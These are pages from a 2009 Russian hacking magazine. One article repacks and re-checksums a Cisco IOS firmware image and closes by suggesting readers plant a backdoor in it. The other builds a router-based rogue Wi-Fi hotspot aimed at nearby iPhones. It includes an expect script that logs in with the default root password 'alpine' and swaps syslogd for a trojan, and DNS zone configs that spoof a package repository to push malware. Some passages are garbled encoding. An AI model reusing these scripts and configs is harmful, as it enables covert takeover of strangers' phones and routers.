файлов ELF. При попытке открыть подопытный образ c2600-entbasek9-<br />

mz.124-9.T1.bin, HT сразу меня обругал, что и привлекло мое внимание.<br />

Обратимся к elf.h. Структура данных, отвечающая за ELF-заголовок,<br />

выглядит так:<br />

typedef struct {<br />

Elf_Char e_ident[EI_NIDENT];<br />

Elf32_Half e_type;<br />

Elf32_Half e_machine;<br />

Elf32_Word e_version;<br />

Elf32_Addr e_entry;<br />

Elf32_Off e_phoff;<br />

Elf32_Off e_shoff;<br />

Elf32_Word e_flags;<br />

Elf32_Half e_ehsize;<br />

060<br />

Что, в сумме, дает размер 52+32+6*40=324 или 0x144, то есть, в файле<br />

всего 6 секций (соответственно, 6 заголовков секций) и 1 заголовок программы.<br />

Вероятнее всего, одна из секций предназначена для хранения<br />

архива с исполняемым образом IOS. Эту секцию можно вычислить либо<br />

по размеру (логично, что ее размер должен быть максимальным), либо<br />

по типу секции. Заголовок таблицы секций можно просмотреть, нажав<br />

и выбрав elf/section headers, но для начала обратимся к описанию<br />

секции:<br />

typedef struct {<br />

Elf32_Word sh_name;<br />

Elf32_Word sh_type;<br />

Elf32_Word sh_flags;<br />

Elf32_Addr sh_addr;<br />

Elf32_Off sh_offset;<br />

Elf32_Word sh_size;<br />

Elf32_Word sh_link;<br />

Elf32_Word sh_info;<br />

Elf32_Word sh_addralign;<br />

Elf32_Word sh_entsize;<br />

} Elf32_Shdr;<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Редактор HT<br />

Стираем flash<br />

Поле sh_type и будет отвечать за искомый тип.<br />

К сожалению, здесь меня ждал облом, — большинство секций имело<br />

тип SHT_PROGBITS, предназначенный для секций, значение которых<br />

определяется самой программой. Однако четвертая секция имела тип,<br />

отличный от предыдущих, и значение 0x00000007 (секция предназначена<br />

для каких-то программных заметок). Первая (нулевая) секция<br />

также имеет отличный от предыдущих тип (SHT_NULL). Исходя из<br />

этого, ясно, что она пустая и ни с чем не ассоциирована. В итоге, приходится<br />

искать секцию с максимальным размером (поле sh_size). Это<br />

— секция за номером пять, ее размер 0x1070e7c или 17239676 байт.<br />

Вернемся к hex-виду ( — hex) и перейдем по смещению (поле<br />

sh_offset) с помощью .<br />

Что же мы здесь видим? Где наш архив, который должен начинаться с<br />

сигнатуры PK, а точнее, если следовать спецификации PKZIP-формата<br />

(pkware.com/documents/casestudies/APPNOTE.TXT), — с 0x04034b50<br />

в обратном порядке? Как ни странно, эта сигнатура обнаруживается<br />

на 22 байта позже. А если хорошо присмотреться, то отказывается, что<br />

сразу за значением 0xFEEDFACE идет размер распакованного образа<br />

0x02AED904. Внимательно поискав в Сети, можно наткнуться на информацию<br />

из книги Cisco Networks Hacking Exposed издательства McGraw<br />

Hill/Osborne.<br />

Наши русские парни Andrew A. Vladimirov, Konstantin V. Gavrilenko,<br />

Janis N. Vizulis and Andrei A. Mikhailovsky еще в 2006 году занимались<br />

разработкой бинарного патчинга IOS 12.3(6). Им удалось<br />

выяснить, что после магического значения 0xFEEDFACE идут<br />

последовательно uncompressed image size, compressed image<br />

size, compressed image checksum, uncompressed image checksum.<br />

Товарищам также стало известно, что алгоритм вычисления контрольной<br />

суммы представляет собой модифицированный алгоритм<br />

контрольной суммы в интернете. К счастью, нам не придется ничего<br />

вычислять — проверено на практике, что маршрутизатор сам скажет,<br />

какое значение должно иметь это поле, если, конечно, подсчитанная<br />

контрольная сумма и записанная в соответствующем поле не<br />

совпадут:<br />

Error : compressed image checksum is incorrect<br />

0xB99D8823<br />

Expected a checksum of 0xF6F69877<br />

Сигнатура FEEDFACE по искомому смещению<br />

секции (№5), содержащей архив с образом IOS, загружаемым в память, —<br />

0x1070e7c или 17239676 (включая 20 байт с 0xFEEDFACE по 0x504B0304).<br />

Размер новой секции, содержащей архив, — 0xFB9D38 или 16489784<br />

(включая те же 20 байт). Разница между старым и новым значением<br />

составит 0xB7158 — 749912. То есть, смещение четвертой секции, физически<br />

расположенной в файле после пятой секции, требуется изменить с<br />

0x1075360 на 0xFBE208!<br />

Старые значения после магической записи 0xFEEDFACE:<br />

unpacked image size: 0x02AED904 45013252<br />

packed image size: 0x01070E66 17239654 (ðàçíèöà ñ ðàçìåðîì<br />

5é ñåêöèè - íà 22 áàéòà ìåíüøå)<br />

packed image checksum: 0xB58BE139<br />

unpacked image checksum: 0xA29D4F6E<br />

çàòåì èäåò ñèãíàòóðà: 0x504B0304<br />

Новые значения после магической записи 0xFEEDFACE:<br />

unpacked image size: 0x02AED904 (îñòàëñÿ òîò æå)<br />

packed image size: 0x00FB9D22 16489762 (ðàçíèöà ñ ðàçìåðîì<br />

5é ñåêöèè - íà 22 áàéòà ìåíüøå)<br />

packed image checksum: íàì íåèçâåñòíà è ìîæíî çàìåíèòü íà<br />

÷òî-íèáóäü ïðèìåòíîå, òèïà 0x48000000<br />

unpacked image checksum: 0xA29D4F6E (îñòàëñÿ òîò æå)<br />

*** System received a Software forced crash ***<br />

signal= 0x17, code= 0x5, context= 0x800805f0<br />

PC = 0x0, Vector = 0x0, SP = 0x0<br />

ПРАКТИКА (ИНТЕГРАЦИИ НОВОГО АРХИВА)<br />

Перейдем к активным действиям. Для начала вырезаем из файла старую<br />

четвертую секцию, содержащую zip-архив, — за исключением 20 байт,<br />

начиная с магического значения 0xFEEDFACE до сигнатуры zip (то есть,<br />

со смещения 0x44F8 по смещение 0x1075360 + 0x44F8). Затем по смещению<br />

0x44F8 вставляем новый архив.<br />

Соединим всю известную нам информацию воедино. Размер старой<br />

XÀÊÅÐ 04 /124/ 09<br />

Новую контрольную сумму, как я уже говорил, сообщит сам маршрутизатор.<br />

После всех манипуляций конечный образ был получен, но его размер<br />

меня не впечатлил. По сравнению с изначальным размером 16,4<br />

MB (17257364 bytes) я получил всего лишь 15,7 MB (16507472 bytes).<br />

Разница, которую я уже посчитал выше, составила 749912 байт.<br />

Конечно, это позволит загрузить образ на flash, но, скорее всего,<br />

придется применять опцию /no-squeeze-reserve-space. Когда при<br />

копировании маршрутизатор запросит повторное стирание flash,<br />

подтверждать действие не нужно. Естественно, такая ситуация была<br />

бы только в том случае, если образ был бы сформирован правильно. Поэ-<br />

061


взлом<br />

Содержимое архива<br />

тому я не стал спешить и для загрузки образа зашел в режим rommon по<br />

. И — со своего компьютера загрузил образ по tftp напрямую<br />

в RAM:<br />

rommon 1>tftpdnld -r<br />

После загрузки маршрутизатор я сказал:<br />

TFTP flash copy: Error, image size (16507470) mismatches<br />

netsize (16507472).<br />

Оказалось, что при редактировании размера 5й секции я ошибся на 2<br />

байта (те самые 20 байт с 0xFEEDFACE + 2).<br />

После второй попытки загрузки выяснилось, что контрольная сумма<br />

запакованного образа — 0xB0257B0D:<br />

Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)<br />

Processor 82A44240 20244772 8718640 11526132 10171028<br />

10098348<br />

I/O 3CA3400 3525632 1650536 1875096 1875096 1875068<br />

<br />

router#show flash:<br />

System flash directory:<br />

File Length Name/status<br />

1 15947076 c2600-advsecurityk9-mz.124-21-shad-pk.bin<br />

[15947140 bytes used, 830072 available, 16777212 total]<br />

16384K bytes of processor board System flash (Read/<br />

Write)<br />

Error : compressed image checksum is incorrect<br />

0xB99D8823<br />

Expected a checksum of 0x48000000<br />

*** System received a Software forced crash ***<br />

signal= 0x17, code= 0x5, context= 0x800805f0<br />

PC = 0x0, Vector = 0x0, SP = 0x0<br />

Корректируем соответствующее поле после 0xFEEDFACE (загружаем<br />

файл в HT по , переходим по смещению с помощью и редактируем<br />

по , не забывая сохраняться по ). Снова грузимся.<br />

Остается еще одна небольшая проблема. Если запустить проверку:<br />

router#verify flash:c2600-advsecurityk9-mz.124-21-<br />

shad-pk.bin<br />

— маршрутизатор обругает нас, сообщив, что Embedded hash и<br />

Calculated hash не совпадают. Исправить это очень просто — 16 байт<br />

контрольной суммы находится в самом конце бинарного файла образа.<br />

Обнаружить это можно даже с помощью простого поиска:<br />

После исправления маршрутизатор сообщает, что контрольная сумма<br />

успешно подсчитана и совпадает:<br />

rommon 4>reset -s<br />

Дальше все нормально, однако затем IOS вываливается и отказывается<br />

работать по причине недостатка памяти.<br />

НИКОГДА НЕ СДАВАЙСЯ<br />

Я не расстроился и решил взяться за другой образ — c2600-<br />

advsecurityk9-mz.124-21.bin. После аналогичных манипуляций с байтами,<br />

даже при использовании 128-битного слова в 7zip, размер составил<br />

15947076 (против изначальных 16635336), что позволило загрузить его во<br />

flash. Помимо прочего, этот образ уже не ругался на недостаток памяти<br />

RAM и прекрасно чувствовал себя на этой платформе:<br />

router#show version<br />

Cisco IOS Software, C2600 Software (C2600-<br />

ADVSECURITYK9-M), Version 12.4(21), RELEASE SOFTWARE<br />

(fc1)<br />

<br />

router#show memory summary<br />

062<br />

Embedded Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD<br />

Computed Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD<br />

CCO Hash MD5 : 79020945BDFE2A354E012C8303136360<br />

Embedded hash verification successful.<br />

File system hash verification successful.<br />

ЛОГИЧЕСКОЕ ЗАКЛЮЧЕНИЕ<br />

Новый образ готов и правильно сформирован. Усвоив эту статью, ты<br />

получишь опыт:<br />

1) по формату PKZIP;<br />

2) по формату исполняемых файлов ELF;<br />

3) по внутреннему устройству образов Cisco IOS;<br />

4) по работе в режиме rommon маршрутизатора.<br />

Кроме того, готов задел для дальнейших извращений над маршрутизаторами.<br />

Для общего развития можно поковырять распакованные образы в<br />

IDA, изучить вирусы в *nix-like системах, чтобы проинфицировать образ<br />

своим бекдором, ну и собственно, написать бекдор. A мои изыскания здесь<br />

успешно заканчиваются. Все вопросы, пожелания и, в особенности, идеи,<br />

мой дорогой друг, я готов получить по электронной почте. С радостью отвечу<br />

и помогу по мере сил. Удачи в бинарном патчинге... и не только. z<br />

XÀÊÅÐ 04 /124/ 09


ПОДПИСКА В РЕДАКЦИИ<br />

ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ<br />

2100 руб.<br />

(на 15% дешевле чем<br />

при покупке в розницу)<br />

Единая цена по всей России. Доставка за счет издателя,<br />

в том числе курьером по Москве в пределах МКАД<br />

ВНИМАНИЕ!<br />

ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ!<br />

При подписке на комплект журналов<br />

ЖЕЛЕЗО + ХАКЕР + DVD:<br />

- Один номер всего за 155 рублей (на 25% дешевле, чем в розницу)<br />

ÇÀ 12 ÌÅÑЯÖÅÂ<br />

3720<br />

ðóá<br />

Подписка на журнал «ХАКЕР+DVD» на 6 месяцев<br />

стоит 1200 руб.<br />

+<br />

ÇÀ 6 ÌÅÑЯÖÅÂ<br />

2100<br />

ðóá<br />

ВЫГОДА ГАРАНТИЯ СЕРВИС<br />

КАК ОФОРМИТЬ ЗАКАЗ<br />

1. Разборчиво заполните подписной купон и квитанцию, вырезав<br />

их из журнала, сделав ксерокопию или распечатав с сайта www.<br />

glc.ru.<br />

2. Оплатите подписку через Сбербанк .<br />

3. Вышлите в редакцию копию подписных документов — купона и<br />

квитанции — любым из нижеперечисленных способов:<br />

по электронной почте subscribe@glc.ru;<br />

по факсу 8 (495) 780-88-24;<br />

по адресу 119021, Москва,<br />

ул. Тимура Фрунзе, д. 11, стр. 44,<br />

ООО «Гейм Лэнд», отдел подписки.<br />

ВНИМАНИЕ!<br />

Подписка оформляется в день обработки купона и квитанции в редакции:<br />

в течение пяти рабочих дней после отправки подписных документов в<br />

редакцию по факсу или электронной почте;<br />

в течение 20 рабочих дней после отправки подписных документов по<br />

почтовому адресу редакции.<br />

Рекомендуем использовать факс или электронную почту, в последнем<br />

случае предварительно отсканировав или сфотографировав документы.<br />

Подписка оформляется с номера, выходящего через один календарный<br />

месяц после оплаты. Например, если вы производите оплату в<br />

апреле, то журнал будете получать с июня.<br />

По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей)<br />

и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы<br />

о подписке можно также направлять по адресу info@glc.ru или прояснить на сайте www.GLC.ru


взлом<br />

D0ZNP<br />

/ HTTP://OXOD.RU /<br />

iPhone<br />

ТЕРМИНАТОР<br />

СОЗДАЕМ АВТОМАТИЧЕСКОЕ СРЕДСТВО АУДИТА APPLE IPHONE<br />

 ìàðòîâñêîì íîìåðå, â ñòàòüå «ßáëî÷íîå ïþðå», ÿ ðàññêàçàë î ñàìîì ïîïóëÿðíîì<br />

è ïðèòÿçàòåëüíîì òåëåôîíå íà ðûíêå — Apple iPhone. Ìîæíî äîëãî<br />

ñïîðèòü íà òåìó åãî ôóíêöèîíàëüíîñòè, ñðàâíèâàòü ñ êàìíåì èëè<br />

ñ ËÑÄ, âîñõèùàòüñÿ è ãëóìèòüñÿ, íî âñå ýòî ÿ îñòàâëþ íà òâîå ëè÷íîå óñìîòðåíèå.<br />

Íà ñåáÿ æå âîçüìó îáÿçàòåëüñòâî ïðîäîëæèòü ðàññêàç î áåçîïàñíîñòè<br />

óñòðîéñòâà. À áåçîïàñíîñòü iPhone, ñêàæó ÿ òåáå, îñòàâëÿåò æåëàòü ëó÷øåãî.<br />

>> взлом<br />

Сперва разберемся, что же заставляет андеграунд двигаться в<br />

определенном направлении исследований. Если судить по количеству<br />

прикладных эксплоитов (офигеть какой показатель, сам знаю), то<br />

Win-системы гораздо более уязвимы, чем все Nix вместе взятые. Глупо<br />

предполагать, что дело только в кривизне кода от Microsoft. Весь секрет<br />

в популярности: чем больше пользователей пользуются софтом, тем<br />

больше интереса (материального и идейного) искать в нем ошибки и<br />

уязвимости. Какой резон в публикации невероятно сложной и красивой<br />

атаки на какой-нибудь Amoi MD-1 (это мобильный телефон, если что)? А<br />

вот в простой атаке на Apple iPhone пользы куда больше! Популярности<br />

одной модели айфона могут позавидовать целые серии телефонов.<br />

Сколько всего на территории нашей прекрасной страны iPhone, не<br />

знает никто, но оценку этой величины дать можно. На ленте за 26 января<br />

значилась цифра 120.000 проданных белых 3g. До этого времени, по<br />

оценкам экспертов, было еще 250.000 серых телефонов. В сумме получаем<br />

где-то 370.000. За цифру я не ручаюсь, и, если окажется, что она в<br />

два раза выше, — не удивлюсь. Наши операторы обязались за два года<br />

продать около 3 млн. устройств, так что им еще есть куда стремиться...<br />

В одном отдельно взятом кафе в столице легко можно встретить 5-10<br />

айфонов за раз. Хотел бы ты получить возможность обрабатывать чужие<br />

064<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Power in from car<br />

Power out to PC<br />

GND<br />

C11<br />

100nF<br />

O2<br />

BC 547<br />

R7<br />

10k<br />

GND<br />

C9<br />

1nf<br />

R6<br />

1k<br />

R2<br />

GND<br />

C10<br />

22nF<br />

220k<br />

PAD1<br />

PAD2<br />

GND<br />

С8<br />

100nF<br />

GND<br />

1<br />

L1<br />

120H<br />

1<br />

2<br />

3<br />

4<br />

10k<br />

R9<br />

2<br />

С1<br />

1000uF<br />

С2<br />

COMREF<br />

VFB VCC<br />

ILIM OUT<br />

OSCGND<br />

8<br />

7<br />

6<br />

5<br />

1000uF<br />

GND GND<br />

O2<br />

C6<br />

GND<br />

D1<br />

22<br />

100nF<br />

GND<br />

PS2<br />

O3<br />

PS1 13:13<br />

PS4 PS3<br />

on Temte<br />

1000uF<br />

C7<br />

US 3<br />

IRFZ44N<br />

GND<br />

GND<br />

D1<br />

С3<br />

R5 R4<br />

10k 47k<br />

GND<br />

R3<br />

1000uF<br />

С4<br />

2k2<br />

O1<br />

BC 547<br />

GND<br />

L2<br />

1 2<br />

120H<br />

ЭЛЕКТРИЧЕСКАЯ СХЕМА АДАПТЕРА ПИТАНИЯ 12 В<br />

ОТ АВТОМОБИЛЬНОГО ПРИКУРИВАТЕЛЯ С ПОДАВЛЕНИЕМ<br />

ШУМОВ<br />

1000uF<br />

GND GND<br />

С5<br />

GND<br />

1000uF<br />

GND<br />

PAD3<br />

PAD4<br />

телефоны в автоматическом режиме? Дальше я опишу процесс создания<br />

устройства для поиска и аудита яблочных телефонов. Мы скомбинируем<br />

принципы пассивного и активного сканирования, а также описанные в<br />

предыдущей статье атаки. Наш терминатор будет пытаться получить доступ<br />

ко всем айфонам в округе и запускать на них тестовое приложение<br />

для отправки SMS. Ну все, хватит обещаний, поехали!<br />

ВЫБИРАЕМ ПЛАТФОРМУ<br />

Давай прикинем, каким основным требованиям должно удовлетворять<br />

автоматическое средство аудита мобильных телефонов? Прежде всего,<br />

конечно, мобильность, извиняюсь за тавтологию. Идея использовать<br />

обычный ноутбук приходит в голову сразу, однако, это не всегда удобно.<br />

Я предлагаю поступить по-хакерски и сделать iPhone терминатора из<br />

обычного беспроводного роутера или точки доступа. Такая платформа<br />

обладает рядом преимуществ по сравнению с ноутом:<br />

• Êîìïàêòíûå ðàçìåðû (ìåíüøå, ÷åì äàæå 10-äþéìîâûå íåò áóêè)<br />

• Ìàëåíüêèé âåñ (150 ã!)<br />

• Íèçêîå ýíåðãîïîòðåáëåíèå (ïèòàåòñÿ îò àêêóìóëÿòîðà)<br />

• Øòàòíûé ðàçúåì äëÿ âíåøíåé àíòåííû (ïîïðîáóé íàéäè â<br />

ìàãàçèíå PCMCIA áåñïðîâîäíóþ êàðòó ñ ðàçúåìîì âíåøíåé<br />

àíòåííû)<br />

• Äåøåâèçíà (~2000ð ïðîòèâ ~8000 ðóá. çà ñàìûé äåøåâûé<br />

íåòáóê)<br />

Кроме того, в определенных местах человек с ноутом привлекает<br />

гораздо больше внимания, чем человек с рюкзачком или сумкой. Вместо<br />

штатного монитора контролировать устройство мы будем через SSH с<br />

телефона — таким образом, шансы прохожих разглядеть что-то интересное<br />

на твоем экране уменьшаются до нуля. Если тебя коробит вопрос<br />

производительности, то смею заверить — процессора ARM<br />

200 МГц хватить для наших нужд выше крыши. Нелишним будет USBпорт<br />

— мы поместим туда флешку для ведения ядовитых логов, но если<br />

его нет, можно скидывать все на «админский» телефон или сервер в<br />

интернете. Я буду описывать процесс на примере Asus WL-500G, просто<br />

потому, что он валяется под рукой. Все будет абсолютно аналогично при<br />

XÀÊÅÐ 04 /124/ 09<br />

использовании любого роутера из этого списка: http://wiki.openwrt.org/<br />

CompleteTableOfHardware.<br />

Если моих доводов в пользу выбора платформы недостаточно и желание<br />

повторить все нижеописанное на ноуте непреодолимо, — вперед! Весь<br />

используемый софт работает под линухом и без труда заведется под твой<br />

любимый дистрибутив или другой никс. На всякий случай напомню:<br />

если возникнут какие-то вопросы, можешь задать их в моем блоге (oxod.<br />

ru). Только не забудь вытащить жесткий диск и поставить ОС на флешку:<br />

при ходьбе и, тем более, беге, есть большой шанс заклинить даже самые<br />

дорогие диски. С платформой определились, едем дальше!<br />

СОБЕРИ САМ. СОЗДАЕМ СВОЮ ПРОШИВКУ<br />

Для моего роутера существует несколько дистрибутивов линукса. Это<br />

— openwrt, dd-wrt и другие, менее известные. Я решил использовать<br />

openwrt исключительно по этическим соображениям, и ты можешь<br />

выбрать что угодно, или даже воспользоваться оригинальным дистрибутивом<br />

от производителя, их часто выкладывают под лицензией GPL.<br />

В общем, необходимое условие одно — наличие toolchain, т.е. средств<br />

кросс-компиляции, с помощью которых мы соберем и поместим в<br />

прошивку нестандартные утилиты. Нам всего-то потребуются: expect,<br />

ssh client, sshd, http-сервер, dns-сервер. Буду рассказывать на примере<br />

openwrt, так что выкачиваем сборку под свою модель, в моем случае это:<br />

http://downloads.openwrt.org/kamikaze/8.09/brcm-2.4/openwrt-brcm-<br />

2.4-squashfs.trx. Вышла она 15 февраля 2009 года, — самый свежак.<br />

Перед прошивкой переводим устройство в Failure Mode. Для этого<br />

отключаем питание, зажимаем кнопку Reset и подключаем питание.<br />

Держим Reset, пока индикатор питания не подмигнет нам, затем отпускаем<br />

кнопку. Процедура входа в Failure Mode для разных роутеров может<br />

отличаться, но подробная процедура установки всегда будет описана<br />

в WIKI openwrt для каждой модели. Ссылка на инструкцию находится<br />

в последней колонке таблицы поддерживаемых устройств. Далее<br />

подключаем патч-корд к устройству и проверяем, что у нас вышло: ping<br />

192.168.1.1. Если все хорошо и устройство отвечает, переходим к заливке<br />

прошивки. Потребуется tftp-клиент, его можно взять здесь:<br />

• http://www.tftp-server.com/tftp-download.html — для Windows;<br />

• http://packages.debian.org/lenny/tftp — Debian stable.<br />

065


взлом<br />

Asus WL-500G Deluxe собственной персоной<br />

Автомобильный адаптер-инвертор 12 В -220 В. Способен<br />

тянуть компьютер 300 В<br />

links<br />

• openwrt.org —<br />

дистрибутив ОС<br />

linux для точек<br />

доступа.<br />

• dd-wrt.com — другой<br />

вариант дистрибутива<br />

ОС linux для<br />

точек доступа.<br />

• code.google.<br />

com/p/winchain —<br />

средства разработки<br />

для iPhone под<br />

Windows.<br />

• oxod.ru — мой<br />

блог. Пишу по мере<br />

желания. Жду комментариев,<br />

отвечу<br />

на вопросы.<br />

warning<br />

Внимание! Информация<br />

представлена<br />

исключительно<br />

с целью ознакомления!<br />

Ни автор,<br />

ни редакция за твои<br />

действия ответственности<br />

не несут!<br />

066<br />

После установки заливаем прошивку на устройство:<br />

tftp 192.168.1.1<br />

tftp> binary<br />

tftp> trace<br />

tftp> put openwrt-brcm-2.4-squashfs.trx<br />

Ждем, пока индикатор питания перестанет моргать<br />

(завершится процесс записи в ROM). Вот так, просто и без<br />

приключений, мы подготовили платформу для дальнейших<br />

изысканий. Теперь перейдем непосредственно к настройке.<br />

Выполняем команды:<br />

#~telnet 192.168.1.1<br />

#~passwd //óñòàíàâëèâàåì ïàðîëü<br />

#~exit //îòêëþ÷àåìñÿ<br />

#~ssh root@192.168.1.1 //ïåðâûé ðàç ýòà ïðîöåäóðà<br />

çàéìåò îêîëî ìèíóòû èëè äâóõ — íåòîðîïëèâîå<br />

óñòðîéñòâî ñîçäàåò êëþ÷åâûå ïàðû. Åñëè<br />

âðåìÿ îæèäàíèÿ SSH-êëèåíòà èñòå÷åò — ïîâòîðè<br />

ïîïûòêó ïîäêëþ÷åíèÿ ÷åðåç ïàðó ìèíóò<br />

#~ipkg update //îáíîâëÿåì áàçó ïàêåòîâ<br />

Возможно, перед последней командой придется еще настроить<br />

подключение к интернету. Настройка интерфейсов<br />

происходит через /etc/config/network. Если надо настроить<br />

PPPoE, создай в конфиге такое правило:<br />

config interface wan<br />

option ifname<br />

option proto<br />

option username<br />

option password<br />

nas0<br />

pppoe<br />

"username"<br />

"password"<br />

На этом базовая установка ОС закончена. Дистрибутив уже<br />

включает в себя DHCP-сервер, SSH-сервер и SSH-клиент.<br />

Дальнейшая настройка зависит от типа атаки.<br />

ДЕЛАЙ РАЗ. ВКУСНАЯ ТОЧКА ДОСТУПА<br />

Теперь основная задача — заставить пользователя<br />

iPhone подключиться к нашей точке доступа. Мы должны<br />

сделать ее наиболее привлекательной, сулящей<br />

неслыханную халяву и т.д. Первое, что приходит на ум<br />

— поставить SSID, который точно привлечет внимание<br />

любого пользователя. Например, взять существующие<br />

имена бесплатных WiFi-сетей. Для правдоподобности<br />

можно работать в режиме моста с настоящей точкой<br />

доступа, подключенной к интернету. Тогда пользователь<br />

будет иметь полноценный выход в глобальную Сеть,<br />

параллельно с этим попадаясь на все наши дальнейшие<br />

уловки с DNS (я же не зря перечислил его в требованиях!).<br />

Для максимального эффекта предварительно<br />

просканируй все сети, действующие в том районе, где<br />

будешь производить испытания, и выдели наиболее<br />

популярные точки доступа. Затем поставь своему устройству<br />

MAC и SSID, как у самого популярного хот-спота.<br />

Если ты окажешься ближе к пользователю, уровень<br />

сигнала от тебя будет выше, и ты получишь клиентов,<br />

привычно подключающихся к знакомой сети. Простейший<br />

конфиг беспроводного интерфейса /etc/config/<br />

wireless выглядит так:<br />

config wifi-device wl0<br />

option type broadcom<br />

option channel 5<br />

option disabled 0<br />

config wifi-iface<br />

option device wl0<br />

option network lan<br />

option mode ap<br />

option ssid Free_Internet<br />

option hidden 0<br />

option encryption none<br />

Последний штрих — настройка DHCP-сервера. Мы же<br />

должны создать для клиентов максимально комфортные<br />

условия работы в нашей сети :).<br />

config dhcp<br />

option interface lan<br />

option start 2 //ïåðâûé âûäàííûé<br />

IP-àäðåñ, â íàøåì ñëó÷àå áóäåò 10.0.0.2<br />

option limit 100 //ñêîëüêî âñåãî<br />

àäðåñîâ âûäàâàòü<br />

option leasetime 1h //âðåìÿ àðåíäû<br />

àäðåñà, íàäî âûáðàòü â ñîîòâåòñòâèè ñ äèíàìèêîé<br />

ïåðåìåùåíèÿ òåðìèíàòîðà è êëèåíòîâ<br />

config dhcp<br />

option interface wan<br />

option ignore 1<br />

Если возникнут вопросы по поводу синтаксиса, обращайся<br />

к официальной документации http://wiki.openwrt.org/<br />

OpenWrtDocs/KamikazeConfiguration (в журнале приводить<br />

все возможные варианты настроек смысла нет).<br />

ДЕЛАЙ ДВА. ПОДБОР ПАРОЛЕЙ SSH<br />

Самая простая и действенная на текущий момент атака на<br />

iPhone — пользуемся паролем по умолчанию, установленным<br />

практически на все джеилбрейкнутые телефоны SSHD.<br />

Для начала, с помощью toolchain от openwrt собираем<br />

из исходников утилиту expect. Если есть флешка, можно<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Динамо-машина для зарядки ноутбука. Крути педали, пока не дали…<br />

поставить компилятор на сам роутер. Устанавливаем все<br />

необходимое:<br />

ipkg install buildroot<br />

ipkg install make<br />

ipkg install tcl<br />

ipkg install scponly<br />

ipkg install openssh-client<br />

Сразу отредактируем /etc/ssh/ssh_config, добавив<br />

строчку «StrictHostKeyChecking no», чтобы SSH-клиент<br />

не выдавал сообщение о принятии новых сессионных<br />

ключей для каждой жертвы. Затем скачиваем исходники<br />

expect отсюда: http://expect.nist.gov/expect.tar.gz.<br />

Распаковываем и собираем, как обычно: ./configure,<br />

make, make install. Может потребоваться установить<br />

переменную окружения: «setenv TCL_LIBRARY /usr/<br />

bin/tcl8.4.19/Library». Теперь напишем скрипт, который<br />

будет пытаться подключиться к телефону с дефолтной<br />

связкой логин-пароль. Получится что-нибудь наподобие<br />

этого:<br />

#!/usr/bin/expect<br />

spawn scp /www/iphone-trojan root@10.0.0.2:/<br />

usr/sbin/syslogd<br />

expect assword {send alpine\r}<br />

spawn ssh root@10.0.0.2<br />

expect assword {send alpine\r}<br />

send “ldid –S /usr/sbin/syslogd\r”<br />

send “exit\r”<br />

expect eof<br />

В случае успеха демон системных логов на захваченном<br />

телефоне заменится нашей программой iphone-trojan, которая<br />

будет выполняться при каждом рестарте системы. Что<br />

это будет за программа, мы рассмотрим ниже. Предлагаю в<br />

качестве самостоятельного упражнения связать логи dhcpсервера<br />

с выполнением этого скрипта так, чтобы атака<br />

осуществлялась на каждый новый выданный IP. Можешь<br />

также установить nmap и перед запуском проверять, что<br />

подцепился именно iPhone.<br />

XÀÊÅÐ 04 /124/ 09<br />

Делается это командой nmap –O2 10.0.0.Х. Стоит отметить,<br />

что сканирование nmap’ом занимает приличное<br />

время, поэтому куда выгоднее просто пытаться атаковать<br />

сразу после подключения клиента. Тут уж решай сам.<br />

ДЕЛАЙ ТРИ. ЛОЖНЫЙ РЕПОЗИТОРИЙ INSTALLER<br />

Эта атака была описана в моей предыдущей статье. Если<br />

вкратце, — суть заключается в подмене DNS-адреса<br />

репозитория менеджера пакетов Installer. Менеджер устанавливается<br />

на все джеилбрейкнутые телефоны, коих, по<br />

некоторым оценкам, > 50% среди всех iPhone в нашей стране.<br />

Выглядит это так: пользователь подключается к нашему<br />

терминатору, открывает Installer и устанавливает обновление<br />

самого менеджера пакетов. Но вместе с оригинальной<br />

программой на телефон заливается любая другая.<br />

Приступим к настройке. Устанавливаем DNS-сервер:<br />

#~ipkg install maradns<br />

Меняем настоящий IP сервера с репозиторием i.ripdev.com<br />

на наш. Для этого редактируем /etc/mararc и /etc/marands/<br />

ripdev.com:<br />

/etc/mararc:<br />

ipv4_bind_addresses = "127.0.0.1, 10.0.0.1"<br />

chroot_dir = "/etc/maradns" //ìåñòî, ãäå áóäóò<br />

ëåæàòü êîíôèãè çîí, ìîæíî âûáðàòü, íàïðèìåð,<br />

òî÷êó ìîíòèðîâàíèÿ ôëåøêè…<br />

recursive_acl = "127.0.0.1/8, 10.0.0.0/24" //<br />

ðàçðåøàåì ðåêóðñèâíûå çàïðîñû<br />

zone_transfer_acl = "127.0.0.1/8,<br />

10.0.0.0/24" //ðàçðåøàåì ïåðåñûëêó çîí<br />

timeout_seconds = 2<br />

csv1 = {}<br />

csv1["ripdev.com."] = "ripdev.com"<br />

dns_port = 53<br />

maximum_cache_elements = 1024<br />

min_ttl_cname = 900<br />

/etc/maradns/ripdev.com:<br />

dvd<br />

На диске ты найдешь<br />

исходники программы<br />

для отправки SMS.<br />

067


взлом<br />

# SOA<br />

Sripdev.com.|86400|%|root@%|200903211634|7200|3600|<br />

604800|1800<br />

# NS<br />

Nripdev.com.|86400|ns.ripdev.com.<br />

# A<br />

Ai.ripdev.com.|86400|10.0.0.1<br />

Теперь все запросы к серверу будут обработаны терминатором.<br />

Остается настроить встроенный веб-сервер в качестве поддельного<br />

репозитория. По умолчанию веб-сервер запускается с корнем /www,<br />

но ты в любой момент можешь погасить его и запустить с ключом –h /<br />

my/www-root. Выгодно создавать корень веб-сервера на прикрученной<br />

флешке. Так или иначе, нам надо скачать и записать на терминатора<br />

следующие файлы:<br />

http://i.ripdev.com/info/index-2.0.plist<br />

http://i.ripdev.com/info/index-2.1.plist<br />

http://i.ripdev.com/info/index-2.2.plist<br />

В каждом из них исправляем раздел, относящийся к программе Installer,<br />

меняем ключи date и version на большие. Если мы не хотим вызывать лишних<br />

подозрений, исправляем ссылки на файлы всех остальных программ так,<br />

чтобы они вели на настоящий сервер. Для этого указываем явно его IP-адрес.<br />

Более подробно процесс рассмотрен в уже упомянутой статье «Яблочное<br />

